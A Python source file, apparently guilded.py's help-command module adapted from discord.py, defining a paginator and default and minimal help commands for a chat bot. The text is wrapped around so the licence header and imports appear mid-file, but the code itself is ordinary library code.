If ``False``, never calls :attr:`.Command.checks`. Defaults to ``True``.
command_attrs: :class:`dict`
A dictionary of options to pass in for the construction of the help command.
This allows you to change the command behaviour without actually changing
the implementation of the command. The attributes will be the same as the
ones passed in the :class:`.Command` constructor.
"""
MENTION_TRANSFORMS = {
'@everyone': '@\u200beveryone',
'@here': '@\u200bhere',
r'<@!?[a-zA-Z0-9]{8}>': '@deleted-user',
r'<@&[a-zA-Z0-9]{8}>': '@deleted-role',
}
MENTION_PATTERN = re.compile('|'.join(MENTION_TRANSFORMS.keys()))
def __new__(cls, *args, **kwargs):
# To prevent race conditions of a single instance while also allowing
# for settings to be passed the original arguments passed must be assigned
# to allow for easier copies (which will be made when the help command is actually called)
# see Rapptz/discord.py issue 2123
self = super().__new__(cls)
# Shallow copies cannot be used in this case since it is not unusual to pass
# instances that need state, e.g. Paginator or what have you into the function
# The keys can be safely copied as-is since they're 99.99% certain of being
# string keys
deepcopy = copy.deepcopy
self.__original_kwargs__ = {k: deepcopy(v) for k, v in kwargs.items()}
self.__original_args__ = deepcopy(args)
return self
def __init__(self, **options):
self.show_hidden = options.pop('show_hidden', False)
self.verify_checks = options.pop('verify_checks', True)
self.command_attrs = attrs = options.pop('command_attrs', {})
attrs.setdefault('name', 'help')
attrs.setdefault('help', 'Shows this message')
self.context: Context = None
self._command_impl = _HelpCommandImpl(self, **self.command_attrs)
def copy(self):
obj = self.__class__(*self.__original_args__, **self.__original_kwargs__)
obj._command_impl = self._command_impl
return obj
def _add_to_bot(self, bot):
command = _HelpCommandImpl(self, **self.command_attrs)
bot.add_command(command)
self._command_impl = command
def _remove_from_bot(self, bot):
bot.remove_command(self._command_impl.name)
self._command_impl._eject_cog()
def add_check(self, func):
"""
Adds a check to the help command.
Parameters
----------
func
The function that will be used as a check.
"""
self._command_impl.add_check(func)
def remove_check(self, func):
"""
Removes a check from the help command.
This function is idempotent and will not raise an exception if
the function is not in the command's checks.
Parameters
----------
func
The function to remove from the checks.
"""
self._command_impl.remove_check(func)
def get_bot_mapping(self):
"""Retrieves the bot mapping passed to :meth:`send_bot_help`."""
bot = self.context.bot
mapping = {cog: cog.get_commands() for cog in bot.cogs.values()}
mapping[None] = [c for c in bot.commands if c.cog is None]
return mapping
@property
def invoked_with(self):
"""Similar to :attr:`Context.invoked_with` except properly handles
the case where :meth:`Context.send_help` is used.
If the help command was used regularly then this returns
the :attr:`Context.invoked_with` attribute. Otherwise, if
it the help command was called using :meth:`Context.send_help`
then it returns the internal command name of the help command.
Returns
---------
:class:`str`
The command name that triggered this invocation.
"""
command_name = self._command_impl.name
ctx = self.context
if ctx is None or ctx.command is None or ctx.command.qualified_name != command_name:
return command_name
return ctx.invoked_with
def get_command_signature(self, command):
"""Retrieves the signature portion of the help page.
Parameters
------------
command: :class:`Command`
The command to get the signature of.
Returns
--------
:class:`str`
The signature for the command.
"""
parent = command.parent
entries = []
while parent is not None:
if not parent.signature or parent.invoke_without_command:
entries.append(parent.name)
else:
entries.append(parent.name + ' ' + parent.signature)
parent = parent.parent
parent_sig = ' '.join(reversed(entries))
if len(command.aliases) > 0:
aliases = '|'.join(command.aliases)
fmt = f'[{command.name}|{aliases}]'
if parent_sig:
fmt = parent_sig + ' ' + fmt
alias = fmt
else:
alias = command.name if not parent_sig else parent_sig + ' ' + command.name
return f'{self.context.clean_prefix}{alias} {command.signature}'
def remove_mentions(self, string):
"""Removes mentions from the string to prevent abuse.
This includes ``@everyone``, ``@here``, member mentions and role mentions.
Returns
-------
:class:`str`
The string with mentions removed.
"""
def replace(obj, *, transforms=self.MENTION_TRANSFORMS):
return transforms.get(obj.group(0), '@invalid')
return self.MENTION_PATTERN.sub(replace, string)
@property
def cog(self):
"""A property for retrieving or setting the cog for the help command.
When a cog is set for the help command, it is as-if the help command
belongs to that cog. All cog special methods will apply to the help
command and it will be automatically unset on unload.
To unbind the cog from the help command, you can set it to ``None``.
Returns
--------
Optional[:class:`Cog`]
The cog that is currently set for the help command.
"""
return self._command_impl.cog
@cog.setter
def cog(self, cog):
# Remove whatever cog is currently valid, if any
self._command_impl._eject_cog()
# If a new cog is set then inject it.
if cog is not None:
self._command_impl._inject_into_cog(cog)
def command_not_found(self, string):
"""|maybecoro|
A method called when a command is not found in the help command.
This is useful to override for i18n.
Defaults to ``No command called {0} found.``
Parameters
------------
string: :class:`str`
The string that contains the invalid command. Note that this has
had mentions removed to prevent abuse.
Returns
---------
:class:`str`
The string to use when a command has not been found.
"""
return f'No command called "{string}" found.'
def subcommand_not_found(self, command, string):
"""|maybecoro|
A method called when a command did not have a subcommand requested in the help command.
This is useful to override for i18n.
Defaults to either:
- ``'Command "{command.qualified_name}" has no subcommands.'``
- If there is no subcommand in the ``command`` parameter.
- ``'Command "{command.qualified_name}" has no subcommand named {string}'``
- If the ``command`` parameter has subcommands but not one named ``string``.
Parameters
------------
command: :class:`Command`
The command that did not have the subcommand requested.
string: :class:`str`
The string that contains the invalid subcommand. Note that this has
had mentions removed to prevent abuse.
Returns
---------
:class:`str`
The string to use when the command did not have the subcommand requested.
"""
if isinstance(command, Group) and len(command.all_commands) > 0:
return f'Command "{command.qualified_name}" has no subcommand named {string}'
return f'Command "{command.qualified_name}" has no subcommands.'
async def filter_commands(self, commands, *, sort=False, key=None):
"""|coro|
Returns a filtered list of commands and optionally sorts them.
This takes into account the :attr:`verify_checks` and :attr:`show_hidden`
attributes.
Parameters
------------
commands: Iterable[:class:`Command`]
An iterable of commands that are getting filtered.
sort: :class:`bool`
Whether to sort the result.
key: Optional[Callable[:class:`Command`, Any]]
An optional key function to pass to :func:`py:sorted` that
takes a :class:`Command` as its sole parameter. If ``sort`` is
passed as ``True`` then this will default as the command name.
Returns
---------
List[:class:`Command`]
A list of commands that passed the filter.
"""
if sort and key is None:
key = lambda c: c.name
iterator = commands if self.show_hidden else filter(lambda c: not c.hidden, commands)
if self.verify_checks is False:
# if we do not need to verify the checks then we can just
# run it straight through normally without using await.
return sorted(iterator, key=key) if sort else list(iterator)
if self.verify_checks is None and not self.context.guild:
# if verify_checks is None and we're in a DM, don't verify
return sorted(iterator, key=key) if sort else list(iterator)
# if we're here then we need to check every command if it can run
async def predicate(cmd):
try:
return await cmd.can_run(self.context)
except CommandError:
return False
ret = []
for cmd in iterator:
valid = await predicate(cmd)
if valid:
ret.append(cmd)
if sort:
ret.sort(key=key)
return ret
def get_max_size(self, commands):
"""Returns the largest name length of the specified command list.
Parameters
------------
commands: Sequence[:class:`Command`]
A sequence of commands to check for the largest size.
Returns
--------
:class:`int`
The maximum width of the commands.
"""
as_lengths = (guilded.utils._string_width(c.name) for c in commands)
return max(as_lengths, default=0)
def get_destination(self):
"""Returns the :class:`~guilded.abc.Messageable` where the help command will be output.
You can override this method to customise the behaviour.
By default this returns the context's channel.
Returns
-------
:class:`.abc.Messageable`
The destination where the help command will be output.
"""
return self.context.channel
async def send_error_message(self, error):
"""|coro|
Handles the implementation when an error happens in the help command.
For example, the result of :meth:`command_not_found` will be passed here.
You can override this method to customise the behaviour.
By default, this sends the error message to the destination
specified by :meth:`get_destination`.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
Parameters
------------
error: :class:`str`
The error message to display to the user. Note that this has
had mentions removed to prevent abuse.
"""
destination = self.get_destination()
await destination.send(error)
@_not_overriden
async def on_help_command_error(self, ctx, error):
"""|coro|
The help command's error handler, as specified by :ref:`ext_commands_error_handler`.
Useful to override if you need some specific behaviour when the error handler
is called.
By default this method does nothing and just propagates to the default
error handlers.
Parameters
------------
ctx: :class:`Context`
The invocation context.
error: :class:`CommandError`
The error that was raised.
"""
pass
async def send_bot_help(self, mapping):
"""|coro|
Handles the implementation of the bot command page in the help command.
This function is called when the help command is called with no arguments.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
Also, the commands in the mapping are not filtered. To do the filtering
you will have to call :meth:`filter_commands` yourself.
Parameters
------------
mapping: Mapping[Optional[:class:`Cog`], List[:class:`Command`]]
A mapping of cogs to commands that have been requested by the user for help.
The key of the mapping is the :class:`~.commands.Cog` that the command belongs to, or
``None`` if there isn't one, and the value is a list of commands that belongs to that cog.
"""
return None
async def send_cog_help(self, cog):
"""|coro|
Handles the implementation of the cog page in the help command.
This function is called when the help command is called with a cog as the argument.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
To get the commands that belong to this cog see :meth:`Cog.get_commands`.
The commands returned not filtered. To do the filtering you will have to call
:meth:`filter_commands` yourself.
Parameters
-----------
cog: :class:`Cog`
The cog that was requested for help.
"""
return None
async def send_group_help(self, group):
"""|coro|
Handles the implementation of the group page in the help command.
This function is called when the help command is called with a group as the argument.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
To get the commands that belong to this group without aliases see
:attr:`Group.commands`. The commands returned not filtered. To do the
filtering you will have to call :meth:`filter_commands` yourself.
Parameters
-----------
group: :class:`Group`
The group that was requested for help.
"""
return None
async def send_command_help(self, command):
"""|coro|
Handles the implementation of the single command page in the help command.
It should be noted that this method does not return anything -- rather the
actual message sending should be done inside this method. Well behaved subclasses
should use :meth:`get_destination` to know where to send, as this is a customisation
point for other users.
You can override this method to customise the behaviour.
.. note::
You can access the invocation context with :attr:`HelpCommand.context`.
.. admonition:: Showing Help
:class: helpful
There are certain attributes and methods that are helpful for a help command
to show such as the following:
- :attr:`Command.help`
- :attr:`Command.brief`
- :attr:`Command.short_doc`
- :attr:`Command.description`
- :meth:`get_command_signature`
There are more than just these attributes but feel free to play around with
these to help you get started to get the output that you want.
Parameters
-----------
command: :class:`Command`
The command that was requested for help.
"""
return None
async def prepare_help_command(self, ctx, command=None):
"""|coro|
A low level method that can be used to prepare the help command
before it does anything. For example, if you need to prepare
some state in your subclass before the command does its processing
then this would be the place to do it.
The default implementation does nothing.
.. note::
This is called *inside* the help command callback body. So all
the usual rules that happen inside apply here as well.
Parameters
-----------
ctx: :class:`Context`
The invocation context.
command: Optional[:class:`str`]
The argument passed to the help command.
"""
pass
async def command_callback(self, ctx, *, command=None):
"""|coro|
The actual implementation of the help command.
It is not recommended to override this method and instead change
the behaviour through the methods that actually get dispatched.
- :meth:`send_bot_help`
- :meth:`send_cog_help`
- :meth:`send_group_help`
- :meth:`send_command_help`
- :meth:`get_destination`
- :meth:`command_not_found`
- :meth:`subcommand_not_found`
- :meth:`send_error_message`
- :meth:`on_help_command_error`
- :meth:`prepare_help_command`
"""
await self.prepare_help_command(ctx, command)
bot = ctx.bot
if command is None:
mapping = self.get_bot_mapping()
return await self.send_bot_help(mapping)
# Check if it's a cog
cog = bot.get_cog(command)
if cog is not None:
return await self.send_cog_help(cog)
maybe_coro = guilded.utils.maybe_coroutine
# If it's not a cog then it's a command.
# Since we want to have detailed errors when someone
# passes an invalid subcommand, we need to walk through
# the command group chain ourselves.
keys = command.split(' ')
cmd = bot.all_commands.get(keys[0])
if cmd is None:
string = await maybe_coro(self.command_not_found, self.remove_mentions(keys[0]))
return await self.send_error_message(string)
for key in keys[1:]:
try:
found = cmd.all_commands.get(key)
except AttributeError:
string = await maybe_coro(self.subcommand_not_found, cmd, self.remove_mentions(key))
return await self.send_error_message(string)
else:
if found is None:
string = await maybe_coro(self.subcommand_not_found, cmd, self.remove_mentions(key))
return await self.send_error_message(string)
cmd = found
if isinstance(cmd, Group):
return await self.send_group_help(cmd)
else:
return await self.send_command_help(cmd)
class DefaultHelpCommand(HelpCommand):
"""The implementation of the default help command.
This inherits from :class:`HelpCommand`.
It extends it with the following attributes.
Attributes
------------
width: :class:`int`
The maximum number of characters that fit in a line.
Defaults to 80.
sort_commands: :class:`bool`
Whether to sort the commands in the output alphabetically. Defaults to ``True``.
dm_help: Optional[:class:`bool`]
A tribool that indicates if the help command should DM the user instead of
sending it to the channel it received it from. If the boolean is set to
``True``, then all help output is DM'd. If ``False``, none of the help
output is DM'd. If ``None``, then the bot will only DM when the help
message becomes too long (dictated by more than :attr:`dm_help_threshold` characters).
Defaults to ``False``.
dm_help_threshold: Optional[:class:`int`]
The number of characters the paginator must accumulate before getting DM'd to the
user if :attr:`dm_help` is set to ``None``. Defaults to 1000.
indent: :class:`int`
How much to indent the commands from a heading. Defaults to ``2``.
commands_heading: :class:`str`
The command list's heading string used when the help command is invoked with a category name.
Useful for i18n. Defaults to ``"Commands:"``
no_category: :class:`str`
The string used when there is a command which does not belong to any category(cog).
Useful for i18n. Defaults to ``"No Category"``
paginator: :class:`Paginator`
The paginator used to paginate the help command output.
"""
def __init__(self, **options):
self.width = options.pop('width', 80)
self.indent = options.pop('indent', 2)
self.sort_commands = options.pop('sort_commands', True)
self.dm_help = options.pop('dm_help', False)
self.dm_help_threshold = options.pop('dm_help_threshold', 1000)
self.commands_heading = options.pop('commands_heading', "Commands:")
self.no_category = options.pop('no_category', 'No Category')
self.paginator = options.pop('paginator', None)
if self.paginator is None:
self.paginator = Paginator()
super().__init__(**options)
def shorten_text(self, text):
""":class:`str`: Shortens text to fit into the :attr:`width`."""
if len(text) > self.width:
return text[:self.width - 3].rstrip() + '...'
return text
def get_ending_note(self):
""":class:`str`: Returns help command's ending note. This is mainly useful to override for i18n purposes."""
command_name = self.invoked_with
return (
f"Type {self.context.clean_prefix}{command_name} command for more info on a command.\n"
f"You can also type {self.context.clean_prefix}{command_name} category for more info on a category."
)
def add_indented_commands(self, commands, *, heading, max_size=None):
"""Indents a list of commands after the specified heading.
The formatting is added to the :attr:`paginator`.
The default implementation is the command name indented by
:attr:`indent` spaces, padded to ``max_size`` followed by
the command's :attr:`Command.short_doc` and then shortened
to fit into the :attr:`width`.
Parameters
-----------
commands: Sequence[:class:`Command`]
A list of commands to indent for output.
heading: :class:`str`
The heading to add to the output. This is only added
if the list of commands is greater than 0.
max_size: Optional[:class:`int`]
The max size to use for the gap between indents.
If unspecified, calls :meth:`~HelpCommand.get_max_size` on the
commands parameter.
"""
if not commands:
return
self.paginator.add_line(heading)
max_size = max_size or self.get_max_size(commands)
get_width = guilded.utils._string_width
for command in commands:
name = command.name
width = max_size - (get_width(name) - len(name))
entry = f'{self.indent * ' '}{name:<{width}} {command.short_doc}'
self.paginator.add_line(self.shorten_text(entry))
async def send_pages(self):
"""A helper utility to send the page output from :attr:`paginator` to the destination."""
destination = self.get_destination()
for page in self.paginator.pages:
await destination.send(page)
def add_command_formatting(self, command):
"""A utility function to format the non-indented block of commands and groups.
Parameters
------------
command: :class:`Command`
The command to format.
"""
if command.description:
self.paginator.add_line(command.description, empty=True)
signature = self.get_command_signature(command)
self.paginator.add_line(signature, empty=True)
if command.help:
try:
self.paginator.add_line(command.help, empty=True)
except RuntimeError:
for line in command.help.splitlines():
self.paginator.add_line(line)
self.paginator.add_line()
def get_destination(self):
ctx = self.context
if self.dm_help is True:
return ctx.author
elif self.dm_help is None and len(self.paginator) > self.dm_help_threshold:
return ctx.author
else:
return ctx.channel
async def prepare_help_command(self, ctx, command):
self.paginator.clear()
await super().prepare_help_command(ctx, command)
async def send_bot_help(self, mapping):
ctx = self.context
bot = ctx.bot
if bot.description:
# <description> portion
self.paginator.add_line(bot.description, empty=True)
no_category = f'\u200b{self.no_category}:'
def get_category(command, *, no_category=no_category):
cog = command.cog
return cog.qualified_name + ':' if cog is not None else no_category
filtered = await self.filter_commands(bot.commands, sort=True, key=get_category)
max_size = self.get_max_size(filtered)
to_iterate = itertools.groupby(filtered, key=get_category)
# Now we can add the commands to the page.
for category, commands in to_iterate:
commands = sorted(commands, key=lambda c: c.name) if self.sort_commands else list(commands)
self.add_indented_commands(commands, heading=category, max_size=max_size)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_command_help(self, command):
self.add_command_formatting(command)
self.paginator.close_page()
await self.send_pages()
async def send_group_help(self, group):
self.add_command_formatting(group)
filtered = await self.filter_commands(group.commands, sort=self.sort_commands)
self.add_indented_commands(filtered, heading=self.commands_heading)
if filtered:
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_cog_help(self, cog):
if cog.description:
self.paginator.add_line(cog.description, empty=True)
filtered = await self.filter_commands(cog.get_commands(), sort=self.sort_commands)
self.add_indented_commands(filtered, heading=self.commands_heading)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
class MinimalHelpCommand(HelpCommand):
"""An implementation of a help command with minimal output.
This inherits from :class:`HelpCommand`.
Attributes
------------
sort_commands: :class:`bool`
Whether to sort the commands in the output alphabetically. Defaults to ``True``.
commands_heading: :class:`str`
The command list's heading string used when the help command is invoked with a category name.
Useful for i18n. Defaults to ``"Commands"``
aliases_heading: :class:`str`
The alias list's heading string used to list the aliases of the command. Useful for i18n.
Defaults to ``"Aliases:"``.
dm_help: Optional[:class:`bool`]
A tribool that indicates if the help command should DM the user instead of
sending it to the channel it received it from. If the boolean is set to
``True``, then all help output is DM'd. If ``False``, none of the help
output is DM'd. If ``None``, then the bot will only DM when the help
message becomes too long (dictated by more than :attr:`dm_help_threshold` characters).
Defaults to ``False``.
dm_help_threshold: Optional[:class:`int`]
The number of characters the paginator must accumulate before getting DM'd to the
user if :attr:`dm_help` is set to ``None``. Defaults to 1000.
no_category: :class:`str`
The string used when there is a command which does not belong to any category(cog).
Useful for i18n. Defaults to ``"No Category"``
paginator: :class:`Paginator`
The paginator used to paginate the help command output.
"""
def __init__(self, **options):
self.sort_commands = options.pop('sort_commands', True)
self.commands_heading = options.pop('commands_heading', "Commands")
self.dm_help = options.pop('dm_help', False)
self.dm_help_threshold = options.pop('dm_help_threshold', 1000)
self.aliases_heading = options.pop('aliases_heading', "Aliases:")
self.no_category = options.pop('no_category', 'No Category')
self.paginator = options.pop('paginator', None)
if self.paginator is None:
self.paginator = Paginator(suffix=None, prefix=None)
super().__init__(**options)
async def send_pages(self):
"""A helper utility to send the page output from :attr:`paginator` to the destination."""
destination = self.get_destination()
for page in self.paginator.pages:
await destination.send(page)
def get_opening_note(self):
"""Returns help command's opening note. This is mainly useful to override for i18n purposes.
The default implementation returns ::
Use `{prefix}{command_name} [command]` for more info on a command.
You can also use `{prefix}{command_name} [category]` for more info on a category.
Returns
-------
:class:`str`
The help command opening note.
"""
command_name = self.invoked_with
return (
f"Use `{self.context.clean_prefix}{command_name} [command]` for more info on a command.\n"
f"You can also use `{self.context.clean_prefix}{command_name} [category]` for more info on a category."
)
def get_command_signature(self, command):
return f'{self.context.clean_prefix}{command.qualified_name} {command.signature}'
def get_ending_note(self):
"""Return the help command's ending note. This is mainly useful to override for i18n purposes.
The default implementation does nothing.
Returns
-------
:class:`str`
The help command ending note.
"""
return None
def add_bot_commands_formatting(self, commands, heading):
"""Adds the minified bot heading with commands to the output.
The formatting should be added to the :attr:`paginator`.
The default implementation is a bold underline heading followed
by commands separated by an EN SPACE (U+2002) in the next line.
Parameters
-----------
commands: Sequence[:class:`Command`]
A list of commands that belong to the heading.
heading: :class:`str`
The heading to add to the line.
"""
if commands:
# U+2002 Middle Dot
joined = '\u2002'.join(c.name for c in commands)
self.paginator.add_line(f'__**{heading}**__')
self.paginator.add_line(joined)
def add_subcommand_formatting(self, command):
"""Adds formatting information on a subcommand.
The formatting should be added to the :attr:`paginator`.
The default implementation is the prefix and the :attr:`Command.qualified_name`
optionally followed by an En dash and the command's :attr:`Command.short_doc`.
Parameters
-----------
command: :class:`Command`
The command to show information of.
"""
fmt = '{0}{1} \N{EN DASH} {2}' if command.short_doc else '{0}{1}'
self.paginator.add_line(fmt.format(self.context.clean_prefix, command.qualified_name, command.short_doc))
def add_aliases_formatting(self, aliases):
"""Adds the formatting information on a command's aliases.
The formatting should be added to the :attr:`paginator`.
The default implementation is the :attr:`aliases_heading` bolded
followed by a comma separated list of aliases.
This is not called if there are no aliases to format.
Parameters
-----------
aliases: Sequence[:class:`str`]
A list of aliases to format.
"""
self.paginator.add_line(f'**{self.aliases_heading}** {', '.join(aliases)}', empty=True)
def add_command_formatting(self, command):
"""A utility function to format commands and groups.
Parameters
------------
command: :class:`Command`
The command to format.
"""
if command.description:
self.paginator.add_line(command.description, empty=True)
signature = self.get_command_signature(command)
if command.aliases:
self.paginator.add_line(signature)
self.add_aliases_formatting(command.aliases)
else:
self.paginator.add_line(signature, empty=True)
if command.help:
try:
self.paginator.add_line(command.help, empty=True)
except RuntimeError:
for line in command.help.splitlines():
self.paginator.add_line(line)
self.paginator.add_line()
def get_destination(self):
ctx = self.context
if self.dm_help is True:
return ctx.author
elif self.dm_help is None and len(self.paginator) > self.dm_help_threshold:
return ctx.author
else:
return ctx.channel
async def prepare_help_command(self, ctx, command):
self.paginator.clear()
await super().prepare_help_command(ctx, command)
async def send_bot_help(self, mapping):
ctx = self.context
bot = ctx.bot
if bot.description:
self.paginator.add_line(bot.description, empty=True)
note = self.get_opening_note()
if note:
self.paginator.add_line(note, empty=True)
no_category = f'\u200b{self.no_category}'
def get_category(command, *, no_category=no_category):
cog = command.cog
return cog.qualified_name if cog is not None else no_category
filtered = await self.filter_commands(bot.commands, sort=True, key=get_category)
to_iterate = itertools.groupby(filtered, key=get_category)
for category, commands in to_iterate:
commands = sorted(commands, key=lambda c: c.name) if self.sort_commands else list(commands)
self.add_bot_commands_formatting(commands, category)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_cog_help(self, cog):
bot = self.context.bot
if bot.description:
self.paginator.add_line(bot.description, empty=True)
note = self.get_opening_note()
if note:
self.paginator.add_line(note, empty=True)
if cog.description:
self.paginator.add_line(cog.description, empty=True)
filtered = await self.filter_commands(cog.get_commands(), sort=self.sort_commands)
if filtered:
self.paginator.add_line(f'**{cog.qualified_name} {self.commands_heading}**')
for command in filtered:
self.add_subcommand_formatting(command)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_group_help(self, group):
self.add_command_formatting(group)
filtered = await self.filter_commands(group.commands, sort=self.sort_commands)
if filtered:
note = self.get_opening_note()
if note:
self.paginator.add_line(note, empty=True)
self.paginator.add_line(f'**{self.commands_heading}**')
for command in filtered:
self.add_subcommand_formatting(command)
note = self.get_ending_note()
if note:
self.paginator.add_line()
self.paginator.add_line(note)
await self.send_pages()
async def send_command_help(self, command):
self.add_command_formatting(command)
self.paginator.close_page()
await self.send_pages()
| """
MIT License
Copyright (c) 2020-present windowsboy111, shay (shayypy)
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
------------------------------------------------------------------------------
This project includes code from https://github.com/Rapptz/discord.py, which is
available under the MIT license:
The MIT License (MIT)
Copyright (c) 2015-present Rapptz
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files (the "Software"),
to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, merge, publish, distribute, sublicense,
and/or sell copies of the Software, and to permit persons to whom the
Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
DEALINGS IN THE SOFTWARE.
"""
import copy
import functools
import itertools
import re
import guilded.utils
from .context import Context
from .core import Command, Group
from .errors import CommandError
__all__ = (
'Paginator',
'HelpCommand',
'DefaultHelpCommand',
'MinimalHelpCommand',
)
# help -> shows info of bot on top/bottom and lists subcommands
# help command -> shows detailed info of command
# help command <subcommand chain> -> same as above
# <description>
# <command signature with aliases>
# <long doc>
# Cog:
# <command> <shortdoc>
# <command> <shortdoc>
# Other Cog:
# <command> <shortdoc>
# No Category:
# <command> <shortdoc>
# Type <prefix>help command for more info on a command.
# You can also type <prefix>help category for more info on a category.
class Paginator:
"""A class that aids in paginating code blocks for Guilded messages.
.. container:: operations
.. describe:: len(x)
Returns the total number of characters in the paginator.
Attributes
-----------
prefix: :class:`str`
The prefix inserted to every page. e.g. three backticks.
suffix: :class:`str`
The suffix appended at the end of every page. e.g. three backticks.
max_size: :class:`int`
The maximum amount of codepoints allowed in a page.
linesep: :class:`str`
The character string inserted between lines. e.g. a newline character.
"""
def __init__(self, prefix='```', suffix='```', max_size=2000, linesep='\n'):
self.prefix = prefix
self.suffix = suffix
self.max_size = max_size
self.linesep = linesep
self.clear()
def clear(self):
"""Clears the paginator to have no pages."""
if self.prefix is not None:
self._current_page = [self.prefix]
self._count = len(self.prefix) + self._linesep_len # prefix + newline
else:
self._current_page = []
self._count = 0
self._pages = []
@property
def _prefix_len(self):
return len(self.prefix) if self.prefix else 0
@property
def _suffix_len(self):
return len(self.suffix) if self.suffix else 0
@property
def _linesep_len(self):
return len(self.linesep)
def add_line(self, line='', *, empty=False):
"""Adds a line to the current page.
If the line exceeds the :attr:`max_size` then an exception
is raised.
Parameters
-----------
line: :class:`str`
The line to add.
empty: :class:`bool`
Indicates if another empty line should be added.
Raises
------
RuntimeError
The line was too big for the current :attr:`max_size`.
"""
max_page_size = self.max_size - self._prefix_len - self._suffix_len - 2 * self._linesep_len
if len(line) > max_page_size:
raise RuntimeError(f'Line exceeds maximum page size {max_page_size}')
if self._count + len(line) + self._linesep_len > self.max_size - self._suffix_len:
self.close_page()
self._count += len(line) + self._linesep_len
self._current_page.append(line)
if empty:
self._current_page.append('')
self._count += self._linesep_len
def close_page(self):
"""Prematurely terminate a page."""
if self.suffix is not None:
self._current_page.append(self.suffix)
self._pages.append(self.linesep.join(self._current_page))
if self.prefix is not None:
self._current_page = [self.prefix]
self._count = len(self.prefix) + self._linesep_len # prefix + linesep
else:
self._current_page = []
self._count = 0
def __len__(self):
return sum(len(p) for p in self._pages) + self._count
@property
def pages(self):
"""List[:class:`str`]: Returns the rendered list of pages."""
# we have more than just the prefix in our current page
if len(self._current_page) > (0 if self.prefix is None else 1):
self.close_page()
return self._pages
def __repr__(self):
fmt = '<Paginator prefix: {0.prefix!r} suffix: {0.suffix!r} linesep: {0.linesep!r} max_size: {0.max_size} count: {0._count}>'
return fmt.format(self)
def _not_overriden(f):
f.__help_command_not_overriden__ = True
return f
class _HelpCommandImpl(Command):
def __init__(self, inject, *args, **kwargs):
super().__init__(inject.command_callback, *args, **kwargs)
self._original = self._injected = inject
async def prepare(self, ctx):
self._injected = injected = self._original.copy()
injected.context = ctx
self.callback = injected.command_callback
on_error = injected.on_help_command_error
if not hasattr(on_error, '__help_command_not_overriden__'):
self.on_error = self._on_error_cog_implementation if self.cog else on_error
await super().prepare(ctx)
async def _parse_arguments(self, ctx):
# Make the parser think we don't have a cog so it doesn't
# inject the parameter into `ctx.args`.
original_cog = self.cog
self.cog = None
try:
await super()._parse_arguments(ctx)
finally:
self.cog = original_cog
async def _on_error_cog_implementation(self, _, ctx, error):
await self._injected.on_help_command_error(ctx, error)
@property
def clean_params(self):
result = self.params.copy()
try:
del result[next(iter(result))]
except StopIteration:
raise ValueError('Missing context parameter') from None
else:
return result
def _inject_into_cog(self, cog):
# Warning: hacky
# Make the cog think that get_commands returns this command
# as well if we inject it without modifying __cog_commands__
# since that's used for the injection and ejection of cogs.
def wrapped_get_commands(*, _original=cog.get_commands):
ret = _original()
ret.append(self)
return ret
# Ditto here
def wrapped_walk_commands(*, _original=cog.walk_commands):
yield from _original()
yield self
functools.update_wrapper(wrapped_get_commands, cog.get_commands)
functools.update_wrapper(wrapped_walk_commands, cog.walk_commands)
cog.get_commands = wrapped_get_commands
cog.walk_commands = wrapped_walk_commands
self.cog = cog
def _eject_cog(self):
if self.cog is None:
return
# revert back into their original methods
cog = self.cog
cog.get_commands = cog.get_commands.__wrapped__
cog.walk_commands = cog.walk_commands.__wrapped__
self.cog = None
class HelpCommand:
r"""The base implementation for help command formatting.
.. note::
Internally instances of this class are deep copied every time
the command itself is invoked to prevent a race condition
mentioned in :dpyissue:`2123`.
This means that relying on the state of this class to be
the same between command invocations would not work as expected.
Attributes
------------
context: Optional[:class:`Context`]
